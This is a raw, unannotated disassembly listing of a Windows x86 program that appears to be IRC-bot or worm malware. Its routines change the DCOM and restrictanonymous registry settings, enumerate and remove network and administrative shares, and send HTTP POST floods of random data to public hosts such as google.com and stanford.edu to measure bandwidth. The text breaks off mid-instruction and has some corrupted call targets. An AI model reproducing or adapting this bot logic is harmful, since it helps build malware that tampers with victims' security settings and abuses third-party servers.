XREF: sub_401ACD+2507p var_378 = byte ptr -378h var_178 = byte ptr -178h var_74 = dword ptr -74h var_48 = dword ptr -48h var_44 = word ptr -44h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 378h push ebx push esi push edi call sub_419A20 xor esi, esi lea eax, [ebp+var_178] push esi push eax push 104h push esi push offset dword_433BCC push esi call dword_4CB6E0 test eax, eax jz loc_419D5E push 1 lea eax, [ebp+var_1C] pop ebx mov edi, dword_4270FC push esi push eax lea eax, [ebp+var_C] mov [ebp+var_1C], 0Ch push eax lea eax, [ebp+var_10] push eax mov [ebp+var_14], ebx mov [ebp+var_18], esi call edi test eax, eax jz loc_419D5E lea eax, [ebp+var_1C] push esi push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax call edi test eax, eax jz loc_419D5E mov edi, dword_4270F8 push 3 push esi push esi push offset dword_4DB8AC call edi push eax push [ebp+var_8] call edi push eax nop call near ptr 2720000h test eax, eax jz short loc_419D5E push 10h lea eax, [ebp+var_2C] push esi push eax call sub_41B590 push 44h lea eax, [ebp+var_74] pop edi push edi push esi push eax call sub_41B590 mov eax, [ebp+var_4] add esp, 18h mov [ebp+var_3C], eax mov eax, [ebp+var_C] mov [ebp+var_38], eax mov [ebp+var_34], eax lea eax, [ebp+var_2C] mov [ebp+var_74], edi push eax lea eax, [ebp+var_74] push eax push esi push esi push esi push ebx push esi mov ebx, offset dword_43D7D8 push esi lea eax, [ebp+var_178] push ebx push eax mov [ebp+var_48], 101h mov [ebp+var_44], si nop call near ptr 2660ADCh test eax, eax jnz short loc_419D66 loc_419D5E: ; CODE XREF: sub_419C64+2Fj ; sub_419C64+5Cj ... or eax, 0FFFFFFFFh jmp loc_419E14 ; --------------------------------------------------------------------------- loc_419D66: ; CODE XREF: sub_419C64+F8j push [ebp+var_4] mov edi, dword_427068 call edi mov eax, [ebp+var_10] push [ebp+var_28] mov dword_4DB8A8, eax mov eax, [ebp+var_8] mov dword_4DB8B0, eax mov eax, [ebp+var_2C] mov dword_4DB8A4, eax call edi mov eax, [ebp+arg_0] cmp [ebp+arg_4], esi mov dword_4DB8E8, eax jz short loc_419DA0 push [ebp+arg_4] jmp short loc_419DA1 ; --------------------------------------------------------------------------- loc_419DA0: ; CODE XREF: sub_419C64+135j push ebx loc_419DA1: ; CODE XREF: sub_419C64+13Aj push offset dword_4DB8B4 call sub_41B886 pop ecx pop ecx push esi push 0Ah push offset unk_43A06C call sub_40B0F6 mov edi, eax mov ecx, [ebp+var_24] imul edi, 234h add esp, 0Ch mov dword_43E568[edi], ecx lea ecx, [ebp+var_30] push ecx push esi push eax push offset sub_419B0F push esi push esi call near ptr 2680098h nop cmp eax, esi mov dword_43E574[edi], eax jnz short loc_419E12 nop call near ptr 268082Fh push eax lea eax, [ebp+var_378] push offset unk_43A038 push eax call sub_41B886 lea eax, [ebp+var_378] push eax call sub_4151AC add esp, 10h loc_419E12: ; CODE XREF: sub_419C64+185j xor eax, eax loc_419E14: ; CODE XREF: sub_419C64+FDj pop edi pop esi pop ebx leave retn sub_419C64 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419E19 proc near ; DATA XREF: sub_401ACD+2E0Bo var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 98h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] rep movsd pop edi pop esi push [ebp+var_8] cmp [ebp+var_10], 0 mov dword ptr [eax+94h], 1 lea eax, [ebp+var_94] push [ebp+var_C] push eax push [ebp+var_98] jz short loc_419E60 call sub_419E79 jmp short loc_419E65 ; --------------------------------------------------------------------------- loc_419E60: ; CODE XREF: sub_419E19+3Ej call sub_41A19D loc_419E65: ; CODE XREF: sub_419E19+45j add esp, 10h push [ebp+var_14] call sub_40B412 pop ecx push 0 call near ptr 26E0A61h nop sub_419E19 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419E79 proc near ; CODE XREF: sub_419E19+40p var_214 = byte ptr -214h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 214h push esi push edi xor edi, edi cmp dword_4CB6F4, edi jnz loc_419FAB lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push edi push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call dword_4CB694 test eax, eax jnz short loc_419F04 mov ax, word_438DE0 mov word ptr [ebp+var_8+2], ax lea eax, [ebp+var_8+2] push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_8+2] push eax push 1 push edi push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call dword_4CB648 test eax, eax jz short loc_419EE6 push offset dword_43A308 jmp short loc_419EEB ; --------------------------------------------------------------------------- loc_419EE6: ; CODE XREF: sub_419E79+64j push offset dword_43A2E8 loc_419EEB: ; CODE XREF: sub_419E79+6Bj lea eax, [ebp+var_214] push eax call sub_41B886 pop ecx pop ecx push [ebp+var_4] call dword_4CB600 jmp short loc_419F17 ; --------------------------------------------------------------------------- loc_419F04: ; CODE XREF: sub_419E79+36j lea eax, [ebp+var_214] push offset dword_43A2B8 push eax call sub_41B886 pop ecx pop ecx loc_419F17: ; CODE XREF: sub_419E79+89j cmp [ebp+arg_C], edi jnz short loc_419F36 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_419F36: ; CODE XREF: sub_419E79+A1j lea eax, [ebp+var_214] push eax call sub_4151AC pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push edi push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call dword_4CB694 test eax, eax jnz short loc_419FA4 lea eax, [ebp+var_8] push 4 push eax push 4 push edi push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], 1 call dword_4CB648 test eax, eax jz short loc_419F86 push offset dword_43A268 jmp short loc_419F8B ; --------------------------------------------------------------------------- loc_419F86: ; CODE XREF: sub_419E79+104j push offset dword_43A234 loc_419F8B: ; CODE XREF: sub_419E79+10Bj lea eax, [ebp+var_214] push eax call sub_41B886 pop ecx pop ecx push [ebp+var_4] call dword_4CB600 jmp short loc_419FBE ; --------------------------------------------------------------------------- loc_419FA4: ; CODE XREF: sub_419E79+E2j push offset dword_43A1F8 jmp short loc_419FB0 ; --------------------------------------------------------------------------- loc_419FAB: ; CODE XREF: sub_419E79+13j push offset dword_43A1C8 loc_419FB0: ; CODE XREF: sub_419E79+130j lea eax, [ebp+var_214] push eax call sub_41B886 pop ecx pop ecx loc_419FBE: ; CODE XREF: sub_419E79+129j cmp [ebp+arg_C], edi jnz short loc_419FDD push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_419FDD: ; CODE XREF: sub_419E79+148j lea eax, [ebp+var_214] push eax call sub_4151AC cmp dword_4CB71C, edi pop ecx jnz loc_41A158 push ebx mov [ebp+var_4], edi mov [ebp+var_14], edi mov [ebp+var_C], edi loc_41A000: ; CODE XREF: sub_419E79+2C3j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push 0FFFFFFFFh push eax push 1F6h push edi call dword_4CB568 cmp eax, edi mov [ebp+var_10], eax jz short loc_41A09D cmp eax, 0EAh jz short loc_41A09D mov esi, offset off_43A090 loc_41A031: ; CODE XREF: sub_419E79+21Dj push dword ptr [esi] push edi call sub_418C6B pop ecx pop ecx push dword ptr [esi] test eax, eax jnz short loc_41A048 push offset dword_43A1A4 jmp short loc_41A04D ; --------------------------------------------------------------------------- loc_41A048: ; CODE XREF: sub_419E79+1C6j push offset dword_43A178 loc_41A04D: ; CODE XREF: sub_419E79+1CDj lea eax, [ebp+var_214] push 200h push eax call sub_41B980 add esp, 10h cmp [ebp+arg_C], edi jnz short loc_41A080 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A080: ; CODE XREF: sub_419E79+1EBj lea eax, [ebp+var_214] push eax call sub_4151AC add esi, 8 pop ecx cmp esi, offset dword_43A0B0 jb short loc_41A031 jmp loc_41A135 ; --------------------------------------------------------------------------- loc_41A09D: ; CODE XREF: sub_419E79+1AAj ; sub_419E79+1B1j mov esi, [ebp+var_8] push 1 pop ebx cmp [ebp+var_4], ebx jb loc_41A12C loc_41A0AC: ; CODE XREF: sub_419E79+2AFj mov edi, [esi] push edi call sub_41D817 cmp word ptr [edi+eax*2-2], 24h pop ecx jnz short loc_41A121 push edi call sub_418B58 push eax push 0 call sub_418C6B add esp, 0Ch push dword ptr [esi] test eax, eax jnz short loc_41A0DB push offset dword_43A154 jmp short loc_41A0E0 ; --------------------------------------------------------------------------- loc_41A0DB: ; CODE XREF: sub_419E79+259j push offset dword_43A128 loc_41A0E0: ; CODE XREF: sub_419E79+260j lea eax, [ebp+var_214] push 200h push eax call sub_41B980 add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_41A114 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A114: ; CODE XREF: sub_419E79+27Fj lea eax, [ebp+var_214] push eax call sub_4151AC pop ecx loc_41A121: ; CODE XREF: sub_419E79+242j add esi, 28h inc ebx cmp ebx, [ebp+var_4] jbe short loc_41A0AC xor edi, edi loc_41A12C: ; CODE XREF: sub_419E79+22Dj push [ebp+var_8] call dword_4CB6B4 loc_41A135: ; CODE XREF: sub_419E79+21Fj cmp [ebp+var_10], 0EAh jz loc_41A000 lea eax, [ebp+var_214] push offset dword_43A100 push eax call sub_41B886 pop ecx pop ecx pop ebx jmp short loc_41A16B ; --------------------------------------------------------------------------- loc_41A158: ; CODE XREF: sub_419E79+177j lea eax, [ebp+var_214] push offset dword_43A0D0 push eax call sub_41B886 pop ecx pop ecx loc_41A16B: ; CODE XREF: sub_419E79+2DDj cmp [ebp+arg_C], edi jnz short loc_41A189 push edi lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A189: ; CODE XREF: sub_419E79+2F5j lea eax, [ebp+var_214] push eax call sub_4151AC pop ecx push 1 pop eax pop edi pop esi leave retn sub_419E79 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A19D proc near ; CODE XREF: sub_419E19:loc_419E60p var_220 = byte ptr -220h var_20 = byte ptr -20h var_14 = byte ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 220h push ebx xor ebx, ebx cmp dword_4CB6F4, ebx push esi jnz loc_41A2CB lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push ebx push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call dword_4CB694 test eax, eax jnz short loc_41A228 mov ax, word_438E24 mov word ptr [ebp+var_8+2], ax lea eax, [ebp+var_8+2] push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_8+2] push eax push 1 push ebx push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call dword_4CB648 test eax, eax jz short loc_41A20A push offset dword_43A480 jmp short loc_41A20F ; --------------------------------------------------------------------------- loc_41A20A: ; CODE XREF: sub_41A19D+64j push offset dword_43A464 loc_41A20F: ; CODE XREF: sub_41A19D+6Bj lea eax, [ebp+var_220] push eax call sub_41B886 pop ecx pop ecx push [ebp+var_4] call dword_4CB600 jmp short loc_41A23B ; --------------------------------------------------------------------------- loc_41A228: ; CODE XREF: sub_41A19D+36j lea eax, [ebp+var_220] push offset dword_43A2B8 push eax call sub_41B886 pop ecx pop ecx loc_41A23B: ; CODE XREF: sub_41A19D+89j cmp [ebp+arg_C], ebx jnz short loc_41A25A push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A25A: ; CODE XREF: sub_41A19D+A1j lea eax, [ebp+var_220] push eax call sub_4151AC pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push ebx push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call dword_4CB694 test eax, eax jnz short loc_41A2C4 lea eax, [ebp+var_8] push 4 push eax push 4 push ebx push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], ebx call dword_4CB648 test eax, eax jz short loc_41A2A6 push offset dword_43A424 jmp short loc_41A2AB ; --------------------------------------------------------------------------- loc_41A2A6: ; CODE XREF: sub_41A19D+100j push offset dword_43A3EC loc_41A2AB: ; CODE XREF: sub_41A19D+107j lea eax, [ebp+var_220] push eax call sub_41B886 pop ecx pop ecx push [ebp+var_4] call dword_4CB600 jmp short loc_41A2DE ; --------------------------------------------------------------------------- loc_41A2C4: ; CODE XREF: sub_41A19D+E2j push offset dword_43A3B0 jmp short loc_41A2D0 ; --------------------------------------------------------------------------- loc_41A2CB: ; CODE XREF: sub_41A19D+13j push offset dword_43A1C8 loc_41A2D0: ; CODE XREF: sub_41A19D+12Cj lea eax, [ebp+var_220] push eax call sub_41B886 pop ecx pop ecx loc_41A2DE: ; CODE XREF: sub_41A19D+125j cmp [ebp+arg_C], ebx jnz short loc_41A2FD push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A2FD: ; CODE XREF: sub_41A19D+144j lea eax, [ebp+var_220] push eax call sub_4151AC cmp dword_4CB71C, ebx pop ecx jnz loc_41A472 push edi mov esi, offset off_43A090 mov edi, 200h loc_41A321: ; CODE XREF: sub_41A19D+1E9j push dword ptr [esi+4] push dword ptr [esi] push ebx call sub_418BBF add esp, 0Ch push dword ptr [esi] test eax, eax jnz short loc_41A33C push offset dword_43A390 jmp short loc_41A341 ; --------------------------------------------------------------------------- loc_41A33C: ; CODE XREF: sub_41A19D+196j push offset dword_43A368 loc_41A341: ; CODE XREF: sub_41A19D+19Dj lea eax, [ebp+var_220] push edi push eax call sub_41B980 add esp, 10h cmp [ebp+arg_C], ebx jnz short loc_41A370 push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A370: ; CODE XREF: sub_41A19D+1B7j lea eax, [ebp+var_220] push eax call sub_4151AC add esi, 8 pop ecx cmp esi, offset off_43A0A0 jb short loc_41A321 call near ptr 2841B84h nop test eax, eax mov [ebp+var_4], eax mov bl, 41h jz loc_41A45A loc_41A39B: ; CODE XREF: sub_41A19D+2B7j mov eax, [ebp+var_4] and eax, 1 cmp al, 1 jnz loc_41A44F cmp bl, 41h jz loc_41A44F movsx esi, bl push esi push offset aC_1 ; "%c$" lea eax, [ebp+var_14] push 0Ah push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_20] push esi push offset aC_0 ; "%c:\\" push 0Ah push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_20] push eax call dword_4CB684 cmp eax, 3 jnz short loc_41A44F lea eax, [ebp+var_20] push eax lea eax, [ebp+var_14] push eax push 0 call sub_418BBF add esp, 0Ch test eax, eax lea eax, [ebp+var_14] push eax jnz short loc_41A40D push offset dword_43A390 jmp short loc_41A412 ; --------------------------------------------------------------------------- loc_41A40D: ; CODE XREF: sub_41A19D+267j push offset dword_43A368 loc_41A412: ; CODE XREF: sub_41A19D+26Ej lea eax, [ebp+var_220] push edi push eax call sub_41B980 add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_41A442 push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A442: ; CODE XREF: sub_41A19D+289j lea eax, [ebp+var_220] push eax call sub_4151AC pop ecx loc_41A44F: ; CODE XREF: sub_41A19D+206j ; sub_41A19D+20Fj ... inc bl shr [ebp+var_4], 1 jnz loc_41A39B loc_41A45A: ; CODE XREF: sub_41A19D+1F8j lea eax, [ebp+var_220] push offset dword_43A338 push eax call sub_41B886 pop ecx xor ebx, ebx pop ecx pop edi jmp short loc_41A485 ; --------------------------------------------------------------------------- loc_41A472: ; CODE XREF: sub_41A19D+173j lea eax, [ebp+var_220] push offset dword_43A0D0 push eax call sub_41B886 pop ecx pop ecx loc_41A485: ; CODE XREF: sub_41A19D+2D3j cmp [ebp+arg_C], ebx jnz short loc_41A4A3 push ebx lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A4A3: ; CODE XREF: sub_41A19D+2EBj lea eax, [ebp+var_220] push eax call sub_4151AC pop ecx push 1 pop eax pop esi pop ebx leave retn sub_41A19D endp ; =============== S U B R O U T I N E ======================================= sub_41A4B7 proc near ; CODE XREF: sub_41A6AE+CBp ; sub_41A6AE+DDp ... arg_0 = dword ptr 4 nop call near ptr 26905CDh push eax call sub_41B8D8 pop ecx call sub_41B8E2 cdq idiv [esp+arg_0] mov eax, edx retn sub_41A4B7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A4D1 proc near ; CODE XREF: sub_41A6AE+D4p ; sub_41A6AE+E6p ... var_38 = dword ptr -38h var_28 = word ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_18 = qword ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28h push ebx push esi push edi push [ebp+arg_0] call sub_41AFE0 mov esi, 0FFh pop ecx cmp eax, esi ja loc_41A6AA push 10h lea eax, [ebp+var_28] push 0 push eax call sub_41B590 push [ebp+arg_0] mov [ebp+var_28], 2 call sub_40AAF9 add esp, 10h mov [ebp+var_24], eax test eax, eax jz loc_41A6AA push 50h call dword_4CB624 push 6 push 1 push 2 mov [ebp+var_26], ax call dword_4CB6A4 cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_41A6AA lea ecx, [ebp+var_28] push 10h push ecx push eax call dword_4CB5CC cmp eax, 0FFFFFFFFh jz loc_41A6AA push 32003h call sub_41CFC5 mov edi, dword_4270A8 mov ebx, eax pop ecx mov [ebp+var_8], ebx call edi push eax call sub_41B8D8 call sub_41B8E2 cdq idiv esi mov [esp+38h+var_38], 32001h push 0 push ebx movsx esi, dl call sub_41B590 push 32000h push esi push ebx call sub_41B590 push ebx call sub_41AFE0 push 323EAh mov ebx, eax call sub_41CFC5 add esp, 20h mov esi, eax push ebx push [ebp+arg_0] push offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"... push esi call sub_41B886 push [ebp+var_8] push esi call sub_41BEC0 push offset asc_433EDC ; "\r\n" push esi call sub_41BEC0 push esi call sub_41AFE0 mov ebx, eax add esp, 24h mov [ebp+var_10], ebx call edi mov dword ptr [ebp+var_18+4], eax xor eax, eax test ebx, ebx mov [ebp+arg_0], eax jbe short loc_41A62A mov [ebp+var_C], ebx mov ebx, 400h jmp short loc_41A5FA ; --------------------------------------------------------------------------- loc_41A5F7: ; CODE XREF: sub_41A4D1+157j mov eax, [ebp+arg_0] loc_41A5FA: ; CODE XREF: sub_41A4D1+124j mov ecx, [ebp+var_10] push 0 sub ecx, eax cmp ecx, ebx jnb short loc_41A60A push [ebp+var_C] jmp short loc_41A60B ; --------------------------------------------------------------------------- loc_41A60A: ; CODE XREF: sub_41A4D1+132j push ebx loc_41A60B: ; CODE XREF: sub_41A4D1+137j add eax, esi push eax push [ebp+var_4] call dword_4CB674 cmp eax, 0FFFFFFFFh jz short loc_41A691 add [ebp+arg_0], ebx sub [ebp+var_C], ebx mov eax, [ebp+arg_0] cmp eax, [ebp+var_10] jb short loc_41A5F7 loc_41A62A: ; CODE XREF: sub_41A4D1+11Aj call edi sub eax, dword ptr [ebp+var_18+4] and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] fmul flt_427714 fst [ebp+arg_0] fcomp flt_427710 fnstsw ax sahf jnz short loc_41A652 fld1 fstp [ebp+arg_0] loc_41A652: ; CODE XREF: sub_41A4D1+17Aj push [ebp+var_4] call dword_4CB6BC push [ebp+var_8] call sub_41B0B1 push esi call sub_41B0B1 mov eax, [ebp+var_10] and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax pop ecx fild [ebp+var_18] pop ecx fdiv [ebp+arg_0] fmul flt_42770C fmul flt_427708 call sub_41C798 loc_41A68C: ; CODE XREF: sub_41A4D1+1DBj pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41A691: ; CODE XREF: sub_41A4D1+149j push [ebp+var_4] call dword_4CB6BC push [ebp+var_8] call sub_41B0B1 push esi call sub_41B0B1 pop ecx pop ecx loc_41A6AA: ; CODE XREF: sub_41A4D1+19j ; sub_41A4D1+42j ... xor eax, eax jmp short loc_41A68C sub_41A4D1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A6AE proc near ; CODE XREF: sub_401ACD+2E61p var_26C = byte ptr -26Ch var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 26Ch push ebx push esi push edi push 8 mov [ebp+var_4], 3 mov [ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net" mov [ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl" mov [ebp+var_34], offset aVerio_fr ; "verio.fr" mov [ebp+var_30], offset aWww_1und1_de ; "www.1und1.de" mov [ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch" mov [ebp+var_28], offset aWww_belwue_de ; "www.belwue.de" mov [ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com" mov [ebp+var_20], offset aWww_google_it ; "www.google.it" mov [ebp+var_6C], offset aWww_xo_net ; "www.xo.net" mov [ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu" mov [ebp+var_64], offset aWww_verio_com ; "www.verio.com" mov [ebp+var_60], offset aWww_nocster_co ; "www.nocster.com" mov [ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu" mov [ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com" mov [ebp+var_54], offset aWww_burst_net ; "www.burst.net" mov [ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu" mov [ebp+var_4C], offset aWww_level3_com ; "www.level3.com" mov [ebp+var_48], offset aWww_above_net ; "www.above.net" mov [ebp+var_44], offset aWww_easynews_c ; "www.easynews.com" mov [ebp+var_40], offset aWww_google_com ; "www.google.com" mov [ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw" mov [ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp" mov [ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com" mov [ebp+var_10], offset aWww_nifty_com ; "www.nifty.com" mov [ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp" mov [ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp" call sub_41A4B7 push [ebp+eax*4+var_3C] call sub_41A4D1 push 8 mov esi, eax call sub_41A4B7 push [ebp+eax*4+var_3C] call sub_41A4D1 add esp, 10h test esi, esi jz short loc_41A7AF test eax, eax jz short loc_41A7AB lea ebx, [eax+esi] shr ebx, 1 jmp short loc_41A7B1 ; --------------------------------------------------------------------------- loc_41A7AB: ; CODE XREF: sub_41A6AE+F4j mov ebx, esi jmp short loc_41A7B1 ; --------------------------------------------------------------------------- loc_41A7AF: ; CODE XREF: sub_41A6AE+F0j mov ebx, eax loc_41A7B1: ; CODE XREF: sub_41A6AE+FBj ; sub_41A6AE+FFj push 0Ch call sub_41A4B7 push [ebp+eax*4+var_6C] call sub_41A4D1 push 0Ch mov edi, eax call sub_41A4B7 push [ebp+eax*4+var_6C] call sub_41A4D1 add esp, 10h test edi, edi jz short loc_41A7E9 test eax, eax jz short loc_41A7E5 lea esi, [eax+edi] shr esi, 1 jmp short loc_41A7EB ; --------------------------------------------------------------------------- loc_41A7E5: ; CODE XREF: sub_41A6AE+12Ej mov esi, edi jmp short loc_41A7EB ; --------------------------------------------------------------------------- loc_41A7E9: ; CODE XREF: sub_41A6AE+12Aj mov esi, eax loc_41A7EB: ; CODE XREF: sub_41A6AE+135j ; sub_41A6AE+139j push 6 call sub_41A4B7 push [ebp+eax*4+var_1C] call sub_41A4D1 push 6 mov edi, eax call sub_41A4B7 push [ebp+eax*4+var_1C] call sub_41A4D1 add esp, 10h test edi, edi jz short loc_41A823 test eax, eax jz short loc_41A81F lea ecx, [eax+edi] shr ecx, 1 jmp short loc_41A825 ; --------------------------------------------------------------------------- loc_41A81F: ; CODE XREF: sub_41A6AE+168j mov ecx, edi jmp short loc_41A825 ; --------------------------------------------------------------------------- loc_41A823: ; CODE XREF: sub_41A6AE+164j mov ecx, eax loc_41A825: ; CODE XREF: sub_41A6AE+16Fj ; sub_41A6AE+173j xor eax, eax test ebx, ebx jz short loc_41A832 mov edi, [ebp+var_4] mov eax, ebx jmp short loc_41A835 ; --------------------------------------------------------------------------- loc_41A832: ; CODE XREF: sub_41A6AE+17Bj push 2 pop edi loc_41A835: ; CODE XREF: sub_41A6AE+182j test esi, esi jz short loc_41A83D add eax, esi jmp short loc_41A83E ; --------------------------------------------------------------------------- loc_41A83D: ; CODE XREF: sub_41A6AE+189j dec edi loc_41A83E: ; CODE XREF: sub_41A6AE+18Dj test ecx, ecx jz short loc_41A846 add eax, ecx jmp short loc_41A847 ; --------------------------------------------------------------------------- loc_41A846: ; CODE XREF: sub_41A6AE+192j dec edi loc_41A847: ; CODE XREF: sub_41A6AE+196j xor edx, edx div edi push eax push ecx push esi push ebx lea eax, [ebp+var_26C] push offset dword_43A4D8 push eax call sub_41B886 push 0 lea eax, [ebp+var_26C] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_26C] push eax call sub_4151AC add esp, 30h pop edi pop esi pop ebx leave retn sub_41A6AE endp ; =============== S U B R O U T I N E ======================================= sub_41A88B proc near ; CODE XREF: sub_401ACD+25A0p ; sub_401ACD+2A10p ... arg_0 = dword ptr 4 push ebx push ebp push esi push edi nop call near ptr 26905CDh xor edx, edx mov ecx, 3E8h div ecx mov ebx, 15180h xor edx, edx mov esi, ebx mov edi, 0E10h mov ebp, edi push 3Ch mov ecx, eax sub ecx, [esp+14h+arg_0] mov eax, ecx div esi mov esi, edx xor edx, edx mov eax, esi div ebp pop ebp mov eax, edx xor edx, edx div ebp xor edx, edx push eax mov eax, esi div edi xor edx, edx mov esi, offset dword_4DB8F0 push eax mov eax, ecx div ebx push eax push offset aDdDhDm ; "%dd %dh %dm" push 32h push esi call sub_41B980 add esp, 18h mov eax, esi pop edi pop esi pop ebp pop ebx retn sub_41A88B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A8F4 proc near ; CODE XREF: sub_416F1A+24p var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_84 = dword ptr -84h push ebp mov ebp, esp sub esp, 94h lea eax, [ebp+var_94] push esi push eax xor esi, esi mov [ebp+var_94], 94h nop call near ptr 26E0000h test eax, eax jz short loc_41A987 cmp [ebp+var_90], 4 jnz short loc_41A95D cmp [ebp+var_8C], esi jnz short loc_41A945 cmp [ebp+var_84], 1 jnz short loc_41A938 push 1 pop esi loc_41A938: ; CODE XREF: sub_41A8F4+3Fj cmp [ebp+var_84], 2 jnz short loc_41A987 push 1 jmp short loc_41A986 ; --------------------------------------------------------------------------- loc_41A945: ; CODE XREF: sub_41A8F4+36j cmp [ebp+var_8C], 0Ah jnz short loc_41A952 loc_41A94E: ; CODE XREF: sub_41A8F4+78j push 2 jmp short loc_41A986 ; --------------------------------------------------------------------------- loc_41A952: ; CODE XREF: sub_41A8F4+58j cmp [ebp+var_8C], 5Ah jnz short 